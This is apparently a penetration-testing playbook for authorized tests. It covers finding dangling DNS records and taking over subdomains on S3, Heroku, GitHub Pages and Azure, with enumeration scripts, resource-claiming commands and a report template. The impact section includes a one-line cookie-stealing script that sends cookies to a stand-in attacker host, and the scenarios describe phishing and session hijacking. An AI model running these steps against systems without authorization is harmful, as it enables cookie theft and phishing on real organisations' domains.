name: exploiting-subdomain-takeover-vulnerabilities description: Identifying and exploiting dangling DNS records pointing to unclaimed cloud services, enabling subdomain takeover for phishing, cookie stealing, and authentication bypass during authorized penetration tests. domain: cybersecurity subdomain: web-application-security tags:
- penetration-testing
- subdomain-takeover
- dns
- cloud-security
- web-security
- bug-bounty version: '1.0' author: xalgord license: Apache-2.0 nist_csf:
- PR.PS-01
- ID.RA-01
- DE.CM-01
Exploiting Subdomain Takeover Vulnerabilities
When to Use
- During authorized penetration tests when subdomain enumeration reveals CNAME or A records pointing to external services
- When cloud service endpoints return "not found" or "no such bucket" error pages
- For assessing organizations with large subdomain footprints (100+ subdomains)
- When evaluating DNS hygiene and decommissioned service cleanup
- During bug bounty programs where subdomain takeover is in scope
How to CONFIRM a Hit (avoid false negatives)
- Positive signal: the dangling CNAME/resource is actually claimable AND you serve your own content on it — confirm by claiming the resource with a benign canary and fetching the subdomain to see your marker, or by the third-party returning its specific unclaimed fingerprint.
- A
404or generic error is NOT proof. Many services return 404 while still being owned/unclaimable; match the exact service fingerprint fromcan-i-take-over-xyz. - Do NOT conclude "vulnerable" (or "safe") until you have:
- Resolved the full CNAME chain (
dig +short CNAME) — any hop could be the dangling one, and intermediate hops can mask the real target. - Matched the response against the service-specific fingerprint (NoSuchBucket, "There isn't a GitHub Pages site here", "No such app", Fastly/Shopify/Surge strings) rather than relying on status code alone.
- Verified the service actually allows claiming that name now (some "vulnerable" fingerprints are no longer registrable — e.g. modern Azure/AWS require domain verification).
- Performed the benign canary claim and confirmed your content is served over the real subdomain, then documented and cleaned up.
- Assessed impact (cookie scope
.target.com, OAuth redirect/CORS trust) so the finding reflects real risk, not just content control.
- Resolved the full CNAME chain (
Critical False Positive: CloudFront in front of S3 (NoSuchBucket vs NoSuchKey)
A subdomain that CNAMEs to a CloudFront distribution (*.cloudfront.net) is not an S3 takeover just because <bucket>.s3.amazonaws.com returns NoSuchBucket. You are probing two different things:
<name>.s3.amazonaws.com→ the global S3 namespace.NoSuchBuckethere only means no bucket with that literal name currently exists in the global namespace. It says nothing about what CloudFront uses as its origin.- The CloudFront distribution itself → its configured origin bucket. Fetch the distribution (or the subdomain) directly and read the S3 error code in the body:
NoSuchBucketfrom the distribution → the origin may be dangling and potentially claimable.NoSuchKeyfrom the distribution → the origin bucket EXISTS (it just has no object at that key). This is NOT vulnerable. It is the normal response for an MTA-STS endpoint that only serves/.well-known/mta-sts.txt.
Even when the distribution returns NoSuchBucket, creating that bucket name in your own AWS account does not automatically attach it to someone else's CloudFront origin — CloudFront origins are bound to a specific bucket/account (and modern setups use OAC/OAI). Classic S3 takeover applies when a CNAME points directly at an S3 website endpoint (<bucket>.s3-website-<region>.amazonaws.com) returning NoSuchBucket, not when an S3 bucket sits behind CloudFront. Always confirm with a benign canary claim before reporting an S3/CloudFront takeover.
Prerequisites
- Authorization: Written penetration testing agreement covering subdomain takeover testing
- subjack: Subdomain takeover checker (
go install github.com/haccer/subjack@latest) - nuclei: With takeover detection templates
- can-i-take-over-xyz: Reference database of takeover-vulnerable services
- subfinder/amass: For subdomain enumeration (prerequisite step)
- dig/host: For DNS record analysis
- Cloud accounts: AWS, Azure, GCP, Heroku, etc. for claiming unclaimed resources
Workflow
Step 1: Enumerate Subdomains and Collect DNS Records
Gather all subdomains and their DNS resolution data.
# Enumerate subdomains (should already be done in Phase 1)
subfinder -d target.com -silent -o subdomains.txt
amass enum -passive -d target.com -o amass-subs.txt
cat subdomains.txt amass-subs.txt | sort -u > all-subs.txt
# Resolve all subdomains and collect CNAME records
echo "=== CNAME Records ==="
while read sub; do
cname=$(dig +short CNAME "$sub" 2>/dev/null)
if [ -n "$cname" ]; then
echo "$sub -> $cname"
fi
done < all-subs.txt | tee cname-records.txt
# Check for NXDOMAIN responses (dangling records)
echo "=== NXDOMAIN / Dead Subdomains ==="
while read sub; do
result=$(dig +short "$sub" 2>/dev/null)
if [ -z "$result" ]; then
cname=$(dig +short CNAME "$sub" 2>/dev/null)
echo "DEAD: $sub (CNAME: ${cname:-none})"
fi
done < all-subs.txt | tee dead-subs.txt
# Check HTTP responses for takeover indicators
echo "=== HTTP Response Check ==="
httpx -l all-subs.txt -sc -title -server -o httpx-results.txt
grep -E "404|NoSuchBucket|There isn't a GitHub Pages|herokucdn" httpx-results.txt
Step 2: Identify Takeover-Vulnerable Services
Match CNAME targets against known vulnerable service fingerprints.
# Automated takeover detection with subjack
subjack -w all-subs.txt -t 50 -timeout 30 -ssl \
-c ~/go/pkg/mod/github.com/haccer/subjack@*/fingerprints.json \
-o subjack-results.txt -v
# Nuclei takeover detection
nuclei -l all-subs.txt -tags takeover -severity info,low,medium,high,critical \
-o nuclei-takeover.txt
# Manual fingerprint matching
# Check each CNAME target against known vulnerable patterns
while read line; do
sub=$(echo "$line" | cut -d' ' -f1)
cname=$(echo "$line" | cut -d' ' -f3)
echo -n "$sub ($cname): "
response=$(curl -sk -m 10 "https://$sub" 2>/dev/null)
# AWS S3
echo "$response" | grep -qi "NoSuchBucket" && echo "VULNERABLE: S3 Bucket" && continue
# GitHub Pages
echo "$response" | grep -qi "There isn't a GitHub Pages site here" && echo "VULNERABLE: GitHub Pages" && continue
# Heroku
echo "$response" | grep -qi "No such app\|herokucdn.com/error-pages" && echo "VULNERABLE: Heroku" && continue
# Azure
echo "$response" | grep -qi "404 Web Site not found" && echo "POSSIBLE: Azure" && continue
# Shopify
echo "$response" | grep -qi "Sorry, this shop is currently unavailable" && echo "VULNERABLE: Shopify" && continue
# Fastly
echo "$response" | grep -qi "Fastly error: unknown domain" && echo "VULNERABLE: Fastly" && continue
# Pantheon
echo "$response" | grep -qi "404 error unknown site" && echo "VULNERABLE: Pantheon" && continue
# Tumblr
echo "$response" | grep -qi "There's nothing here\|tumblr.com" && echo "POSSIBLE: Tumblr" && continue
# Unbounce
echo "$response" | grep -qi "The requested URL was not found on this server" && echo "POSSIBLE: Unbounce" && continue
# WordPress.com
echo "$response" | grep -qi "Do you want to register" && echo "VULNERABLE: WordPress.com" && continue
# Surge.sh
echo "$response" | grep -qi "project not found" && echo "VULNERABLE: Surge.sh" && continue
# Fly.io
echo "$response" | grep -qi "404 Not Found.*fly" && echo "VULNERABLE: Fly.io" && continue
# Netlify
echo "$response" | grep -qi "Not Found - Request ID" && echo "POSSIBLE: Netlify" && continue
# Zendesk
echo "$response" | grep -qi "Help Center Closed\|Zendesk" && echo "POSSIBLE: Zendesk" && continue
echo "NOT VULNERABLE or unknown service"
done < cname-records.txt
Step 3: Verify and Exploit Takeover (Service-Specific)
Claim the unclaimed resource on each vulnerable service.
# === AWS S3 BUCKET TAKEOVER ===
# If CNAME points to: targetbucket.s3.amazonaws.com
# And response is: NoSuchBucket
# Create the bucket in the same region
aws s3 mb s3://targetbucket --region us-east-1
# Upload proof page
echo "<html><body><h1>Subdomain Takeover PoC - Authorized Test</h1>
<p>This subdomain (SUBDOMAIN) was taken over during an authorized penetration test.</p>
<p>Tester: YOUR_NAME | Date: $(date)</p></body></html>" > index.html
aws s3 cp index.html s3://targetbucket/index.html --acl public-read
aws s3 website s3://targetbucket --index-document index.html
# Verify takeover
curl -s "http://SUBDOMAIN.target.com"
# === GITHUB PAGES TAKEOVER ===
# If CNAME points to: org.github.io
# Create repo named "org.github.io" (or matching CNAME)
# Add CNAME file with the subdomain name
# Push index.html with PoC content
# === HEROKU TAKEOVER ===
# If CNAME points to: appname.herokuapp.com
heroku create appname
# Deploy PoC page
echo "<h1>Subdomain Takeover PoC</h1>" > index.html
git init && git add . && git commit -m "poc"
git push heroku main
# === AZURE TAKEOVER ===
# If CNAME points to: appname.azurewebsites.net
# Create Azure Web App with matching name
az webapp create --resource-group myRG --plan myPlan --name appname
# === SHOPIFY TAKEOVER ===
# If CNAME points to: shops.myshopify.com
# Create a Shopify store and add the subdomain as custom domain
# === GENERAL VERIFICATION ===
# After claiming, verify the subdomain resolves to your content
curl -sI "https://SUBDOMAIN.target.com" | head -10
curl -s "https://SUBDOMAIN.target.com" | grep "Takeover PoC"
Step 4: Assess Impact and Escalation Potential
Determine the real-world impact beyond just content control.
# === COOKIE SCOPE ANALYSIS ===
# Check if parent domain sets cookies visible to subdomains
curl -sI "https://target.com" | grep -i "set-cookie"
curl -sI "https://www.target.com" | grep -i "set-cookie"
# If cookies are set for .target.com (dot-prefix),
# the taken-over subdomain can READ and STEAL them
# === SESSION HIJACKING VIA COOKIE THEFT ===
# If parent domain cookies scope to .target.com:
# Deploy JavaScript on taken-over subdomain:
# <script>document.location="https://attacker.com/steal?c="+document.cookie</script>
# === SPF/DMARC BYPASS CHECK ===
# Can the taken-over subdomain send emails as target.com?
dig TXT target.com | grep -i "spf"
dig TXT _dmarc.target.com | grep -i "dmarc"
# If SPF includes the cloud service IP ranges, emails from
# the taken-over subdomain may pass SPF validation
# === OAUTH/SSO REDIRECT CHECK ===
# Check if any OAuth flows use the taken-over subdomain as redirect_uri
# This could enable authorization code theft
# === CORS ORIGIN CHECK ===
# Test if the main application trusts the taken-over subdomain
curl -sI -H "Origin: https://SUBDOMAIN.target.com" \
"https://api.target.com/data" | grep -i "access-control"
# If Access-Control-Allow-Origin reflects the subdomain → data theft possible
Step 5: Documentation and Cleanup
Document findings and clean up claimed resources.
# Take screenshots for proof
# Screenshot of DNS record showing CNAME
dig CNAME SUBDOMAIN.target.com
# Screenshot of taken-over page
curl -s "https://SUBDOMAIN.target.com"
# After reporting, CLEAN UP:
# S3: aws s3 rb s3://targetbucket --force
# Heroku: heroku apps:destroy appname --confirm appname
# GitHub: Delete the repository
# Azure: az webapp delete --name appname --resource-group myRG
Key Concepts
| Concept | Description |
|---|---|
| Dangling CNAME | DNS CNAME record pointing to an unclaimed or decommissioned cloud service |
| Subdomain Takeover | Claiming an unclaimed cloud resource that a subdomain's DNS points to |
| NXDOMAIN | DNS response indicating the target hostname does not exist |
| Cookie Scope | Cookies set for .domain.com are accessible to all subdomains |
| DNS Rebinding | Related technique — changing DNS resolution to bypass same-origin policy |
| Stale DNS | DNS records that remain after the underlying service is decommissioned |
| CNAME Chain | Multiple CNAME hops where any link in the chain could be vulnerable |
Tools & Systems
| Tool | Purpose |
|---|---|
| subjack | Automated subdomain takeover vulnerability checker |
| nuclei | Template-based takeover detection across 50+ services |
| can-i-take-over-xyz | Reference database of vulnerable services and fingerprints |
| dnsreaper | Subdomain takeover tool supporting multiple DNS providers |
| subzy | Fast subdomain takeover checker with fingerprint database |
| dnsx | Fast DNS resolution toolkit for bulk lookups |
| httpx | HTTP probing with response fingerprinting |
Common Scenarios
Scenario 1: Decommissioned S3 Bucket
Company migrated from S3 to CloudFront but forgot to remove the CNAME assets.target.com → target-assets.s3.amazonaws.com. The bucket was deleted. Attacker creates a new bucket with the same name and serves malicious content on assets.target.com.
Scenario 2: Expired Heroku App with Cookie Theft
staging.target.com pointed to a deleted Heroku app. After takeover, the attacker deploys a cookie-stealing page. Because the production app sets cookies for .target.com, visiting staging.target.com exfiltrates session tokens.
Scenario 3: GitHub Pages Takeover for Phishing
docs.target.com CNAMEs to targetorg.github.io. The GitHub org renamed, leaving the old name unclaimed. Attacker creates a repo matching the old name and deploys a convincing login page for phishing.
Output Format
## Subdomain Takeover Finding
**Vulnerability**: Subdomain Takeover via Dangling S3 CNAME
**Severity**: High (CVSS 8.1)
**Location**: assets.target.com
**DNS Record**: CNAME → target-assets.s3.amazonaws.com (NoSuchBucket)
### Reproduction Steps
1. dig CNAME assets.target.com → target-assets.s3.amazonaws.com
2. curl https://assets.target.com → "NoSuchBucket" error
3. Created S3 bucket: aws s3 mb s3://target-assets
4. Uploaded PoC: aws s3 cp index.html s3://target-assets/ --acl public-read
5. Verified: curl https://assets.target.com → PoC page served
### Impact
- Full content control of assets.target.com
- Cookie theft: parent domain sets cookies for .target.com (session hijacking)
- Credible phishing page on legitimate subdomain
- Potential CORS trust: api.target.com reflects assets.target.com as allowed origin
### Recommendation
1. Remove the dangling CNAME record from DNS immediately
2. Audit all DNS records for stale/unused entries monthly
3. Implement DNS monitoring for NXDOMAIN responses on owned subdomains
4. Use wildcard CNAME records cautiously — prefer explicit records
5. Set cookie scope as narrowly as possible (avoid .domain.com wildcards)